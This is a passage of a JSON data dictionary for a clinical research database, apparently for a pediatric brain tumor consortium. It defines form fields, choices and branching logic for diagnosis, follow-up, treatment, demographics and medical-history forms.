{"field_name":"time_surg_prog2_a49","form_name":"diagnosis_form","section_header":"","field_type":"text","field_label":"Time from Last Surgery to Recurrence","select_choices_or_calculations":"","field_note":"in months","text_validation_type_or_show_slider_number":"number","text_validation_min":"0","text_validation_max":"","identifier":"","branching_logic":"[diagnosis_type] = '7'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"tumor_or_molecular_tests","form_name":"diagnosis_form","section_header":"Molecular","field_type":"checkbox","field_label":"Clinical Tests Done:","select_choices_or_calculations":"1, SNP array | 2, FISH | 3, Specific gene mutation analysis | 4, Whole Genome Sequencing | 8, Methylation Profiling | 9, Nanostring | 10, Expression Profiling | 5, Other NOS | 6, None","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"des_tests","form_name":"diagnosis_form","section_header":"","field_type":"notes","field_label":"Describe:","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[tumor_or_molecular_tests(5)] = '1'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"path_test_avail","form_name":"diagnosis_form","section_header":"","field_type":"yesno","field_label":"Are the pathology or test results available? ","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[tumor_or_molecular_tests(1)] = '1' or [tumor_or_molecular_tests(2)] = '1' or [tumor_or_molecular_tests(3)] = '1' or [tumor_or_molecular_tests(4)] = '1' or [tumor_or_molecular_tests(9)] = '1' or [tumor_or_molecular_tests(10)] = '1' or [tumor_or_molecular_tests(5)] = '1'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"form_status_dx","form_name":"diagnosis_form","section_header":"","field_type":"radio","field_label":"Diagnosis Form Status","select_choices_or_calculations":"1, Complete | 2, In Progress","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"age","form_name":"diagnosis_form","section_header":"Fields No Longer Used - Informational Only","field_type":"text","field_label":"Subject Age at Diagnosis\/Autopsy\/Death","select_choices_or_calculations":"","field_note":"in months (not required if date of diagnosis is entered)","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"date_form_completed_up","form_name":"updates_data_form","section_header":"","field_type":"text","field_label":"Date Form Completed","select_choices_or_calculations":"","field_note":"yyyy-mm-dd","text_validation_type_or_show_slider_number":"date_ymd","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"follow_up_visit_status","form_name":"updates_data_form","section_header":"","field_type":"radio","field_label":"Follow up Visit Status","select_choices_or_calculations":"1, Visit Completed | 2, Subject not seen","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"reason_for_no_visit","form_name":"updates_data_form","section_header":"","field_type":"radio","field_label":"Reason Visit Not Completed","select_choices_or_calculations":"1, Subject not seen at clinic during approved f\/u window | 3, Subject deceased","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[follow_up_visit_status] = '2'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"date_of_visit_follow_up","form_name":"updates_data_form","section_header":"Demographics and Status","field_type":"text","field_label":"Date of Visit:","select_choices_or_calculations":"","field_note":"Enter date subject was seen. ","text_validation_type_or_show_slider_number":"date_ymd","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"clin_status","form_name":"updates_data_form","section_header":"","field_type":"dropdown","field_label":"Clinical Status","select_choices_or_calculations":"1, Alive | 4, Deceased-due to disease | 5, Deceased-due to other causes","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[follow_up_visit_status] = '1' or [reason_for_no_visit] = '3'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"tumor_status2","form_name":"updates_data_form","section_header":"","field_type":"dropdown","field_label":"Tumor Status","select_choices_or_calculations":"1, No evidence of disease | 2, Stable Disease | 3, Change in tumor status or 2nd malignancy","field_note":"If the subject has a recurrence or second malignancy please complete a new record","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[follow_up_visit_status] = '1' and [clin_status] = '1'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"relapse_death","form_name":"updates_data_form","section_header":"","field_type":"text","field_label":"Time from Last Relapse to Death:","select_choices_or_calculations":"","field_note":"in months","text_validation_type_or_show_slider_number":"number","text_validation_min":"0","text_validation_max":"","identifier":"","branching_logic":"[clin_status] = '4'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"diag_death","form_name":"updates_data_form","section_header":"","field_type":"text","field_label":"Time from initial diagnosis to death:","select_choices_or_calculations":"","field_note":"in months","text_validation_type_or_show_slider_number":"number","text_validation_min":"0","text_validation_max":"","identifier":"","branching_logic":"[clin_status] = '4'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"cause_death","form_name":"updates_data_form","section_header":"","field_type":"text","field_label":"Cause of Death","select_choices_or_calculations":"","field_note":"if not from disease","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[clin_status] = '5'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"coordinator_notes","form_name":"updates_data_form","section_header":"","field_type":"notes","field_label":"Coordinator Notes","select_choices_or_calculations":"","field_note":"Site Use Only","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"form_status_u","form_name":"updates_data_form","section_header":"","field_type":"radio","field_label":"Update Form Status","select_choices_or_calculations":"1, Complete | 2, In Progress","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"subj_age","form_name":"updates_data_form","section_header":"Fields No Longer Used - Informational Only","field_type":"text","field_label":"Subject Age at Update","select_choices_or_calculations":"","field_note":"in months (not required if date of visit is entered)","text_validation_type_or_show_slider_number":"number","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[follow_up_visit_status] = '1'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"treatment_status","form_name":"treatment_form","section_header":"Treatment Plan for Current Diagnosis","field_type":"radio","field_label":"Treatment ","select_choices_or_calculations":"1, New | 2, Ongoing | 3, Modified Treatment | 4, No treatment | 5, Unavailable","field_note":"Please select \\"New\\" ONLY in the Diagnosis Event","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"treatment_update_due_to","form_name":"treatment_form","section_header":"","field_type":"radio","field_label":"Treatment Changed:","select_choices_or_calculations":"1, Toxicities | 2, Unspecified reasons | 3, Progression | 4, Recurrence | 5, Second malignancy","field_note":"If the subject has a recurrence, progression or second malignancy please complete a new record and select a \\"New\\" treatment for the \\"New Diagnosis\\"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[treatment_status] = '3'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"surgery","form_name":"treatment_form","section_header":"Surgery","field_type":"radio","field_label":"Surgery?","select_choices_or_calculations":"1, Yes | 2, No | 3, Unavailable","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[treatment_status] = '1' or [treatment_update_due_to] = '1' or [treatment_update_due_to] = '2'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"tumor_resection_extent","form_name":"treatment_form","section_header":"","field_type":"radio","field_label":"Extent of Tumor Resection ","select_choices_or_calculations":"1, Gross\/Near total resection | 2, Partial resection | 3, Biopsy only | 4, Unavailable | 5, N\/A","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[surgery] = '1'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"specimen_to_cbttc","form_name":"treatment_form","section_header":"","field_type":"radio","field_label":"Specimen to CBTTC Coordinating Center?","select_choices_or_calculations":"1, Yes | 2, No | 3, Not Applicable","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[surgery] = '1'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"sample_origin","form_name":"treatment_form","section_header":"","field_type":"radio","field_label":"Specimen Collection Origin","select_choices_or_calculations":"4, Initial CNS Tumor Surgery | 5, Repeat resection | 6, Second look surgery | 7, Recurrence surgery | 8, Progressive surgery | 9, Second malignancy | 10, Autopsy | 11, Unavailable","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[surgery] = '1'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"radiation","form_name":"treatment_form","section_header":"Radiation","field_type":"radio","field_label":"Radiation Therapy?","select_choices_or_calculations":"0, Yes | 1, No | 2, Unavailable","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[treatment_status] = '1' or [treatment_update_due_to] = '1' or [treatment_update_due_to] = '2'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"start_date_rad","form_name":"treatment_form","section_header":"","field_type":"text","field_label":"Start date of radiation?","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"date_ymd","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[radiation] = '0'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"start_date_rad_unavail","form_name":"treatment_form","section_header":"","field_type":"radio","field_label":"Start date unavailable?","select_choices_or_calculations":"1, Yes","field_note":"Mark 'Yes' if start date will be left blank because it is unavailable, i.e., performed at an outside institution and access to the records will not occur at any time.","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[radiation] = '0'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"stop_date_rad","form_name":"treatment_form","section_header":"","field_type":"text","field_label":"Stop date of radiation?","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"date_ymd","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[radiation] = '0'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"stop_date_rad_unavail","form_name":"treatment_form","section_header":"","field_type":"radio","field_label":"Stop date unavailable?","select_choices_or_calculations":"1, Yes","field_note":"Mark 'Yes' if stop date will be left blank because it is unavailable, i.e., performed at an outside institution and access to the records will not occur at any time.","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[radiation] = '0'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"rad_site","form_name":"treatment_form","section_header":"","field_type":"radio","field_label":"Radiation Sites","select_choices_or_calculations":"1, Focal\/Tumor bed | 8, Craniospinal with focal boost | 9, Whole Ventricular with focal boost | 6, Other | 7, Unavailable","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[radiation] = '0'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"other_type_describe","form_name":"treatment_form","section_header":"","field_type":"text","field_label":"Other Radiation Site Description","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[rad_site] = \\"6\\"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"rad_final_dose","form_name":"treatment_form","section_header":"","field_type":"text","field_label":"Completed Radiation Dose: ","select_choices_or_calculations":"","field_note":"cGy prescription (convert Gy to cGy); If site is CSI with boost or Whole Ventricular with boost, please include focal dose below - field only visible with those choices. Enter Unavailable if necessary. ","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[rad_site] = '8' or [rad_site] = '9' or [rad_site] = '6' or [rad_site] = '7'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"csi_focal_dose","form_name":"treatment_form","section_header":"","field_type":"text","field_label":"Completed Radiation Focal Dose","select_choices_or_calculations":"","field_note":"cGy prescription (convert Gy to cGy). Enter Unavailable if necessary.","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[rad_site] = '8' or [rad_site] = '1' or [rad_site] = '9'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"radiation_type","form_name":"treatment_form","section_header":"","field_type":"checkbox","field_label":"Radiation Type","select_choices_or_calculations":"1, Protons | 2, Photons | 3, Combination of Protons and Photons | 4, Gamma Knife | 5, Other | 6, Unavailable","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[radiation] = '0'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"other_type","form_name":"treatment_form","section_header":"","field_type":"text","field_label":"Describe Other Type","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[radiation_type(5)] = '1'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"description_of_radiation_t","form_name":"treatment_form","section_header":"","field_type":"notes","field_label":"Other Radiation Treatment Info","select_choices_or_calculations":"","field_note":"Use if there is other pertinent info regarding treatment","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[radiation] = '0'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"chemo","form_name":"treatment_form","section_header":"Chemotherapy","field_type":"radio","field_label":"Chemotherapy?","select_choices_or_calculations":"0, Yes | 1, No | 2, Unavailable","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[treatment_status] = '1' or [treatment_update_due_to] = '1' or [treatment_update_due_to] = '2'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"chemo_type","form_name":"treatment_form","section_header":"","field_type":"dropdown","field_label":"Chemotherapy Type","select_choices_or_calculations":"1, Treatment follows a protocol but subject is not enrolled | 2, Treatment follows a protocol and subject is enrolled on a protocol | 3, Treatment follows other standard of care not associated with a current or past protocol | 4, Unavailable treatment","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[chemo] = '0'","required_field":"y","custom_alignment":"LV","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"like_protocol_name","form_name":"treatment_form","section_header":"","field_type":"notes","field_label":"Protocol Number and Treatment Arm (if applicable)","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[chemo_type] = '1' or [chemo_type] = '2'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"start_date_chemo","form_name":"treatment_form","section_header":"","field_type":"text","field_label":"Start date of chemotherapy?","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"date_ymd","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[chemo_type] = '1' or [chemo_type] = '2' or [chemo_type] = '3'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"start_date_chemo_unavail","form_name":"treatment_form","section_header":"","field_type":"radio","field_label":"Start date unavailable?","select_choices_or_calculations":"1, Yes","field_note":"Mark 'Yes' if start date will be left blank because it is unavailable, i.e., performed at an outside institution and access to the records will not occur at any time.","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[chemo_type] = '1' or [chemo_type] = '2' or [chemo_type] = '3'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"stop_date_chemo","form_name":"treatment_form","section_header":"","field_type":"text","field_label":"Stop date of chemotherapy?","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"date_ymd","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[chemo_type] = '1' or [chemo_type] = '2' or [chemo_type] = '3'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"stop_date_chemo_unavail","form_name":"treatment_form","section_header":"","field_type":"radio","field_label":"Stop date unavailable?","select_choices_or_calculations":"1, Yes","field_note":"Mark 'Yes' if stop date will be left blank because it is unavailable, i.e., performed at an outside institution and access to the records will not occur at any time.","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[chemo_type] = '1' or [chemo_type] = '2' or [chemo_type] = '3'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"planned_chemo_agents","form_name":"treatment_form","section_header":"","field_type":"notes","field_label":"Chemotherapy Agents:","select_choices_or_calculations":"","field_note":"from prescription and identify if any agents are investigational","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[chemo_type] = '3'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"description_of_chemotherap","form_name":"treatment_form","section_header":"","field_type":"notes","field_label":"Description of Chemotherapy Treatment","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[chemo_type] = '1' or [chemo_type] = '2' or [chemo_type] = '3'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"asct","form_name":"treatment_form","section_header":"","field_type":"yesno","field_label":"Autologous Stem Cell Transplant?","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[chemo_type] = '1' or [chemo_type] = '2' or [chemo_type] = '3'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"treatment_complete","form_name":"treatment_form","section_header":"","field_type":"radio","field_label":"Treatment Complete","select_choices_or_calculations":"1, Yes | 2, No | 3, Unknown","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[treatment_status] = '1' and [treatment_status] = '2' and [treatment_status] = '3' and [treatment_status] = '5'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"form_status_t","form_name":"treatment_form","section_header":"","field_type":"radio","field_label":"Treatment Form Status","select_choices_or_calculations":"1, Complete | 2, In Progress","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"formstatus_demo","form_name":"demographics_form","section_header":"","field_type":"radio","field_label":"Form Status","select_choices_or_calculations":"1, New | 2, Update | 3, No new information","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"date_form_completed","form_name":"demographics_form","section_header":"","field_type":"text","field_label":"Date Form Completed","select_choices_or_calculations":"","field_note":"yyyy-mm-dd","text_validation_type_or_show_slider_number":"date_ymd","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[formstatus_demo] = '1' or [formstatus_demo] = '2'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"general_comments","form_name":"demographics_form","section_header":"","field_type":"notes","field_label":"General comments (Demographic Info Only):","select_choices_or_calculations":"","field_note":"Only use this for demographic info; use the comments field on the diagnosis form for complex cases if necessary","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[formstatus_demo] = '1' or [formstatus_demo] = '2'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"gender","form_name":"demographics_form","section_header":"Demographics","field_type":"dropdown","field_label":"Subject Gender","select_choices_or_calculations":"0, Male | 1, Female | 2, Unavailable","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[formstatus_demo] = '1' or [formstatus_demo] = '2'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"subject_ethnicity","form_name":"demographics_form","section_header":"","field_type":"radio","field_label":"Subject Ethnicity","select_choices_or_calculations":"1, Hispanic or Latino | 2, Not Hispanic or Latino | 3, Unavailable\/Not Reported","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[formstatus_demo] = '1' or [formstatus_demo] = '2'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"race","form_name":"demographics_form","section_header":"","field_type":"checkbox","field_label":"Subject Race","select_choices_or_calculations":"1, White | 2, Black or Afrtican American | 3, Asian | 4, Native Hawaiian or Other Pacific Islander | 5, American Indian or Alaska Native | 7, Other\/Unavailable\/Not Reported","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[formstatus_demo] = '1' or [formstatus_demo] = '2'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"form_status_dm","form_name":"demographics_form","section_header":"","field_type":"radio","field_label":"Demographics Form Status","select_choices_or_calculations":"1, Complete | 2, In Progress","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"formstatus_medhis","form_name":"medical_history","section_header":"","field_type":"radio","field_label":"Form Status","select_choices_or_calculations":"1, New | 2, Update | 3, No new information","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"canc_predisp_condition","form_name":"medical_history","section_header":"","field_type":"checkbox","field_label":"Cancer Predisposition Conditions ","select_choices_or_calculations":"1, NF-1 | 2, NF-2 | 3, Schwannomatosis | 4, Tuberous Sclerosis | 5, Li-Fraumeni syndrome | 6, Other inherited conditions NOS | 7, None documented","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[formstatus_medhis] = '1' or [formstatus_medhis] = '2'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"describe_predis","form_name":"medical_history","section_header":"","field_type":"notes","field_label":"Describe for Other:","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[canc_predisp_condition(6)] = '1'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"germline","form_name":"medical_history","section_header":"","field_type":"yesno","field_label":"Was germline testing performed to confirm?","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[canc_predisp_condition(1)] = '1' or [canc_predisp_condition(2)] = '1' or [canc_predisp_condition(3)] = '1' or [canc_predisp_condition(4)] = '1' or [canc_predisp_condition(5)] = '1' or [canc_predisp_condition(6)] = '1'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"results_available","form_name":"medical_history","section_header":"","field_type":"yesno","field_label":"Are the results available?","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[canc_predisp_condition(1)] = '1' or [canc_predisp_condition(2)] = '1' or [canc_predisp_condition(3)] = '1' or [canc_predisp_condition(4)] = '1' or [canc_predisp_condition(5)] = '1' or [canc_predisp_condition(6)] = '1'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"cancer_predis_relative","form_name":"medical_history","section_header":"","field_type":"text","field_label":"Specify Relative(s)","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[canc_predisp_condition(1)] = '1' or [canc_predisp_condition(2)] = '1' or [canc_predisp_condition(3)] = '1' or [canc_predisp_condition(4)] = '1' or [canc_predisp_condition(5)] = '1' or [canc_predisp_condition(6)] = '1'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"family_history","form_name":"medical_history","section_header":"","field_type":"radio","field_label":"Family History of Cancer? ","select_choices_or_calculations":"0, Yes | 1, No | 2, Unavailable","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[formstatus_medhis] = '1' or [formstatus_medhis] = '2'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"family_member","form_name":"medical_history","section_header":"","field_type":"checkbox","field_label":"Family History of Disease","select_choices_or_calculations":"1, Mother | 2, Father | 3, Sister | 4, Brother | 5, Maternal Grandmother | 6, Maternal Grandfather | 7, Paternal Grandmother | 8, Paternal Grandfather | 9, Other | 10, Unspecified relation | 11, Not reported","field_note":"Select all that are reported","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[family_history] = '0'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"other_family_history","form_name":"medical_history","section_header":"","field_type":"text","field_label":"Other Family History","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[family_member(9)] = '1'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"cancer_type","form_name":"medical_history","section_header":"","field_type":"checkbox","field_label":"Mother: What type of cancer?","select_choices_or_calculations":"1, CNS | 2, Lung | 3, Skin | 4, Bone | 5, Breast | 6, Colon | 7, Liver | 8, Lymphoma | 9, Ovarian | 10, Prostate | 11, Uterine | 12, Pancreas | 13, Bladder | 14, Unavailable\/Not Specified | 15, Other | 16, Thyroid | 17, Kidney","field_note":"Mother","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[family_member(1)] = '1'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
